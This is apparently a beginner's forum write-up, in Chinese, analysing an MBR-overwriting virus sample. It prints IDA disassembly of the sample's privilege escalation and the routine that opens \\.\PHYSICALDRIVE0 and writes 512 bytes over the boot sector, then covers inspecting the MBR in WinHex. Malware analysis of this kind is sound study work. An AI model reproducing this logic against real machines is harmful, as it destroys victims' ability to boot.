1 MBR病毒樣本分析
1.1 基本信息
樣本類型:MBR感染樣本
大小:36864 字節(jié) 36KB
MD5:955b66c722ca993dd11fbe56bbf92525
殼種類:無殼
編譯器信息:VC++6.0
簡(jiǎn)介:該樣本是一個(gè)修改MBR的病毒。
感染癥狀:感染該病毒后,剛開始并不會(huì)發(fā)現(xiàn)有什么異常情況,但是當(dāng)你重啟電腦后,你就會(huì)發(fā)現(xiàn)電腦啟動(dòng)停留在一個(gè)黑色界面,
帶著惡意文字,在WIN7虛擬機(jī)中運(yùn)行過后重啟系統(tǒng)的結(jié)果,感染后重啟電腦如圖4-1所示
圖4-1感染病毒效果圖
文件變化:無
注冊(cè)表變化:無
網(wǎng)絡(luò)行為:無
1.2 詳細(xì)分析
(1)首先總體看一下病毒程序布局
將病毒文件載入IDA,首先觀察IDA 的Functions window 界面,如圖4-2所示:
圖4-2 IDA FunctionWindow圖
因?yàn)樵摬《疚募遣捎肰C++6.0編譯的,看到main函數(shù),就試著點(diǎn)開看一下,雙擊main函數(shù)后,在IDA中看到如下匯編代碼,
該段介紹的是該病毒程序的主函數(shù),包含兩個(gè)子模塊:
[C++] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
|
int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_401000
add esp, 8
jmp sub_401090
_main endp
|
(2)模塊一分析
匯編語言函數(shù)是以:函數(shù)名 proc(參數(shù)列表) 這樣的格式,由此看出此函數(shù)有可能是病毒程序的主函數(shù),
push offset aSedebugprivile; "SeDebugPrivilege";
這句匯編代碼后面提示此處壓棧的字符是“SeDebugPrivilege”,這是Windows的字符權(quán)限名稱,一般用在進(jìn)程提權(quán)中使用,
然后看下面三句匯編代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
3
|
push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_4010002.
|
首先將兩個(gè)值壓棧,其中一個(gè)值還與進(jìn)程提權(quán)有關(guān),下面一個(gè)call,指向了另一個(gè)位置,想到這里,
這個(gè)call里面的操作估計(jì)與進(jìn)程提權(quán)相關(guān),在IDA中雙擊call跟進(jìn),查看call的內(nèi)容,為了直觀這里切換到IDA 的Graph view,雙擊call出現(xiàn)的內(nèi)容,如圖4-3:
圖4-3 IDA call sub_401000 Graph View圖
進(jìn)入這個(gè)界面,該從哪里才下手呢,剛才分析,這個(gè)call所做的操作與進(jìn)程提權(quán)相關(guān),要想提升一個(gè)進(jìn)程的權(quán)限,那么首先要做的第一步是得到當(dāng)前進(jìn)程的句柄,查看call進(jìn)來的匯編代碼發(fā)現(xiàn)一個(gè)API GetCurrentProcess,這個(gè)API是獲取當(dāng)前進(jìn)程的句柄的,這就正確了,設(shè)想是正確的,就從這里下手,如下匯編代碼,主要介紹兩個(gè)進(jìn)程提權(quán)的API函數(shù)GetCurrentProcess和OpenProcessToken
[Asm] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
9
|
push esi
push eax ; TokenHandle
push 28h ; DesiredAccess
mov esi, 1
call ds:GetCurrentProcess
push eax ; ProcessHandle
call ds:OpenProcessToken
test eax, eax
jnz short loc_401028
|
上面匯編代碼,就是兩個(gè)函數(shù),第一個(gè)先將三個(gè)參數(shù)壓棧,調(diào)用GetCurrentProcess函數(shù)獲取當(dāng)前進(jìn)程句柄,隨后將句柄返回寄存器eax(匯編語言的函數(shù)返回值默認(rèn)存儲(chǔ)在寄存器eax中),隨后call ds:OpenProcessToken 調(diào)用OpenProcessToken函數(shù),獲取進(jìn)程令牌句柄,并將返回值保存在eax中。test eax, eaxjnz short loc_401028這兩條語句,先test eax,eax會(huì)改變標(biāo)志位ZF,使ZF不等于1,jnz表示標(biāo)志位ZF不等于1時(shí),跳轉(zhuǎn),因此此處跳轉(zhuǎn)到shortloc_401028處。在圖4-3中右下角那一個(gè)模塊中,下邊看一下匯編代碼,主要功能修改進(jìn)程權(quán)限
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
loc_401028:
mov ecx, [esp+18h+arg_4]
mov eax, [esp+18h+lpName]
neg ecx
lea edx, [esp+18h+NewState.Privileges]
mov [esp+18h+NewState.PrivilegeCount], esi
sbb ecx, ecx
push edx ; lpLuid
and ecx, 2
push eax ; lpName
push 0 ; lpSystemName
mov [esp+24h+NewState.Privileges.Attributes], ecx
call ds:LookupPrivilegeValueA
mov edx, [esp+18h+hObject]
push 0 ; ReturnLength
push 0 ; PreviousState
lea ecx, [esp+20h+NewState]
push 10h ; BufferLength
push ecx ; NewState
push 0 ; DisableAllPrivileges
push edx ; TokenHandle
call ds:AdjustTokenPrivileges
call ds:GetLastError
test eax, eax
|
在前邊敘述中,已經(jīng)獲取當(dāng)前進(jìn)程的進(jìn)程令牌,根據(jù)提升進(jìn)程權(quán)限的操作,下一步要做的操作就是要查詢進(jìn)程的權(quán)限。簡(jiǎn)單分析之后,看一下上邊代碼,其中兩個(gè)關(guān)鍵的call是需要注意的:call ds:LookupPrivilegeValueA這個(gè)API函數(shù)就是查詢進(jìn)程權(quán)限的,與提升進(jìn)程權(quán)限的步驟完全一致,根據(jù)VC++函數(shù)壓棧的順序第一個(gè)參數(shù)到第三個(gè)參數(shù)的壓入順序就是:push 0 ; lpSystemNamepush eax ; lpNamepush edx ; lpLuid然后call,直接調(diào)用該函數(shù),這是第一個(gè)call call ds:AdjustTokenPrivileges通過查看進(jìn)程的權(quán)限,判斷進(jìn)程是否可以對(duì)磁盤進(jìn)行寫操作,如果沒有,則查找相關(guān)權(quán)限的LUID,賦予該進(jìn)程相應(yīng)權(quán)限,具體不再贅述。
(3)模塊2分析
前面模塊一中介紹的是進(jìn)程提權(quán)部分,也就是main中的第一個(gè)關(guān)鍵點(diǎn)call sub_401000,下面來看一下main中第二個(gè)關(guān)鍵點(diǎn):
[Asm] 純文本查看 復(fù)制代碼
1
2
|
add esp, 8
jmp sub_401090
|
在第一個(gè)call sub_401000這個(gè)子模塊中,一共兩個(gè)參數(shù)壓棧
[Asm] 純文本查看 復(fù)制代碼
1
2
|
push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
|
在函數(shù)結(jié)束時(shí),需要將堆棧還原,32位的兩個(gè)參數(shù)正好8個(gè)字節(jié),因此Add esp,8, 讓棧頂指針增加8字節(jié),棧在開辟儲(chǔ)存空間是向下增長(zhǎng)的。堆棧平衡以后,程序直接無條件跳轉(zhuǎn)到 sub_401090處,在IDA中直接雙擊,切換到 sub_401090處,為了看著比較直觀,先來看一下整體視圖,如圖4-4,4-5所示:
圖4-4 IDA sub_401090 處代碼圖
圖4-5 IDA檢測(cè)寫入數(shù)據(jù)圖
通過對(duì)main中第一個(gè)call模塊進(jìn)行分析,病毒程序已經(jīng)提升進(jìn)程權(quán)限,對(duì)于下一步,估計(jì)會(huì)對(duì)硬盤進(jìn)行寫入操作。剛切換到sub_401090位置,并不知道到程序會(huì)怎么做,大致瀏覽一下代碼,會(huì)發(fā)現(xiàn)\\\\.\\PHYSICALDRIVE0字樣,這也說明不了什么,只能說明有可能是想獲取本地磁盤的信息,但是下面還有所發(fā)現(xiàn),看如下幾行代碼,主要介紹CreateFileA函數(shù)
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
push 0 ; hTemplateFile 參數(shù)7
rep stosd
stosw
push 0 ; dwFlagsAndAttributes 參數(shù)6
push 3 ; dwCreationDisposition 參數(shù)5
stosb
push 0 ; lpSecurityAttributes 參數(shù)4
mov ecx, 0Ch
mov esi, offset unk_406030
lea edi, [esp+220h+Buffer]
push 3 ; dwShareMode 參數(shù)3
push 0C0000000h ; dwDesiredAccess 參數(shù)2
rep movsd
push offset FileName ; \\\\.\\PHYSICALDRIVE0 參數(shù)1
mov [esp+22Ch+var_2], 55h
mov [esp+22Ch+var_1], 0AAh
call ds:CreateFileA
|
調(diào)用函數(shù)55h 0AAh 這個(gè)對(duì)磁盤主引導(dǎo)區(qū)比較熟悉的應(yīng)該知道,這是磁盤主引導(dǎo)扇區(qū)(MBR)的結(jié)束表示,一般是第一扇區(qū)的511和512字節(jié)處,就像PE文件頭的標(biāo)識(shí)00004550一樣,以上匯編代碼中,其實(shí)只是實(shí)現(xiàn)了一個(gè)功能就是在磁盤下創(chuàng)建文件,從參數(shù)7到參數(shù)1是CreateFileA函數(shù)的7個(gè)參數(shù),順序也按照調(diào)用順序進(jìn)行排列,具體參數(shù)就不再細(xì)說了,調(diào)用CreateFileA函數(shù)取得設(shè)備句柄(這個(gè)設(shè)備句柄后面會(huì)用到),通過對(duì)返回值進(jìn)行檢測(cè),判斷函數(shù)是否成功,成功的話進(jìn)行進(jìn)一步操作,如下匯編代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
3
|
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4010F4
|
這里將函數(shù)的返回值儲(chǔ)存在esi中,也就是設(shè)備的句柄,具體有什么用處,繼續(xù)往后邊分析。一個(gè)jnz條件跳轉(zhuǎn)指明了一個(gè)方向,對(duì)于這個(gè)跳轉(zhuǎn)與否,在IDA中有兩個(gè)方向,如圖4-6所示:
圖4-6 IDA jnz short loc_4010F4 解釋圖
如果文件創(chuàng)建成功則跳轉(zhuǎn)至loc_4010F4處,否則執(zhí)行另一塊操作,此時(shí)為了清晰地看一下程序的運(yùn)行細(xì)節(jié),將病毒程序載入到OD中,如圖4-7所示,
進(jìn)行分析。
圖4-7 OD jnz short loc_4010F4 解釋圖
載入OD后,ALT+C到CPU界面,右鍵查看所有字符串參考,跟以前的分析,直接雙擊所查找出來的\\\\.\\PHYSICALDRIVE0字符,雙擊進(jìn)入如圖4-雙擊進(jìn)入如圖4-7的界面,然后看到CreateFile函數(shù),在call該函數(shù)的前后下斷,下軟件斷點(diǎn)就可以了,然后F9,讓程序運(yùn)行至第一個(gè)斷點(diǎn)處,如圖4-7紅色004010D4處,然后F8單步往下走(不要F7,F(xiàn)7進(jìn)入函數(shù)體內(nèi)沒有其它需要的信息,這里就不截圖展示了),此時(shí)主義觀擦右上角寄存器信息,注意ESI和EAX如圖4-7右上角紅色方框處,F(xiàn)8逐步將程序運(yùn)行至004010E7處,可以先看ZF標(biāo)志位(OD中以字母Z在右上角顯示),此時(shí)也可以看到圖4-7左下角出現(xiàn)"跳轉(zhuǎn)已實(shí)現(xiàn)"字樣,程序已經(jīng)跳轉(zhuǎn)至loc_4010F4處,此時(shí)留意ESI和EAX兩個(gè)寄存器,此時(shí)它們的值是44h,它代表取得設(shè)備句柄成功。其實(shí)在創(chuàng)建設(shè)備句柄之前,要寫入MBR的字符數(shù)據(jù)已經(jīng)可以在內(nèi)存中查到,如下代碼:
[C++] 純文本查看 復(fù)制代碼
1
2
3
|
mov ecx, 0Ch
mov esi, offset unk_406030
lea edi, [esp+220h+Buffer]
|
觀察上邊代碼,[esp+220h+Buffer]這個(gè)地址開始的數(shù)據(jù)后來被檢測(cè)到包含MBR引導(dǎo)扇區(qū)的結(jié)束標(biāo)志55H AAH,如下代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
|
mov [esp+22Ch+var_2], 55h
mov [esp+22Ch+var_1], 0AAh
|
因此在內(nèi)存中轉(zhuǎn)到406030這個(gè)位置,查看數(shù)據(jù),如圖4-8所示。此時(shí)再把視線回歸到IDA中如圖4-3所示,既然程序跳轉(zhuǎn)到loc_4010F4處,下面具來分析一下loc_4010F4處的代碼,來了解病毒程序下面如何操作,上面通過CreateFile取得文件設(shè)備句柄,并將設(shè)備句柄存取到ESI中,然后進(jìn)一步操作,如下代碼:
[Asm] 純文本查看 復(fù)制代碼
1
2
3
4
5
6
7
8
|
lea ecx, [esp+210h+NumberOfBytesWritten]
push 0 ; lpOverlapped
push ecx ; lpNumberOfBytesWritten
lea edx, [esp+218h+Buffer]
push 200h ; nNumberOfBytesToWrite 寫入數(shù)據(jù)位512字節(jié)
push edx ; lpBuffer
push esi ; hFile
call ds:WriteFile
|
調(diào)用WriteFile函數(shù),將512字節(jié)的 數(shù)據(jù)寫入hFile(即CreateFile創(chuàng)建的文件中)中,下面利用DeviceIoControl與設(shè)備進(jìn)行I/O,上面已經(jīng)創(chuàng)建好的設(shè)備句柄保存在ESI中,詳細(xì)如下代碼:
[Asm] 純文本查看 復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
|
lea eax, [esp+210h+BytesReturned] ;數(shù)據(jù)所在位置
push 0 ; lpOverlappedpush eax ; lpBytesReturned 驅(qū)動(dòng)程序?qū)嶋H返回給應(yīng)用程序的數(shù)據(jù)字節(jié)數(shù)地址
push 0 ; nOutBufferSize
push 0 ; lpOutBuffer
push 0 ; nInBufferSize
push 0 ; lpInBuffer
push 9001Ch ; dwIoControlCode I/O和文件系統(tǒng)數(shù)據(jù)緩沖區(qū)進(jìn)行數(shù)據(jù)傳遞的方式
push esi ; hDevice 設(shè)備句柄
call edi ; DeviceIoControl
push esi ; hObject
call ds:CloseHandle[esp+210h+BytesReturned] ;表示數(shù)據(jù)所在位置,上面參數(shù)有相關(guān)解釋,通過DeviceIoControl將數(shù)據(jù)通過驅(qū)動(dòng)程序?qū)懭朐O(shè)備,最后關(guān)閉設(shè)備句柄
push esi ; hObject
call ds:CloseHandle
|
圖4-8 IDA 406030 處16進(jìn)制數(shù)據(jù)數(shù)據(jù)查詢圖
(4)利用WinHex提取出被感染后的MBR數(shù)據(jù)
該工具里面的工具欄里面提供有打開磁盤文件擴(kuò)展,可以選擇以16進(jìn)制或者10進(jìn)制顯示,如圖4-9是正常情況下的MBR的內(nèi)容:
圖4-9 WinHex打開磁盤扇區(qū)文件圖打開之后會(huì)顯示如界面,選擇物理驅(qū)動(dòng)器,如圖4-10所示:
圖4-10 WinHex選擇操作物理驅(qū)動(dòng)器圖
打開磁盤文件后,選中磁盤的第一個(gè)扇區(qū),即MBR,右鍵->復(fù)制模塊->置入新文件保存起來,如圖4-11所示:
圖
4-11
WinHex
保存磁盤扇區(qū)文件圖
1.1 病毒的修復(fù)如果在分析之前對(duì)MBR有備份,這樣可以容易處理一些,有一款工具叫MBRTool,可以對(duì)MBR進(jìn)行簡(jiǎn)單的備份和恢復(fù):
說明:因?yàn)楸救嗽诖祟I(lǐng)域還是新手,此次分析是在看到willJ 大大 http://www.52pojie.cn/thread-188123-1-1.html 發(fā)的一篇分析文章后決定自己嘗試一下,因?yàn)閭(gè)人技術(shù)太少,剛涉足此方向,新手上路,望各位大大給予指點(diǎn) |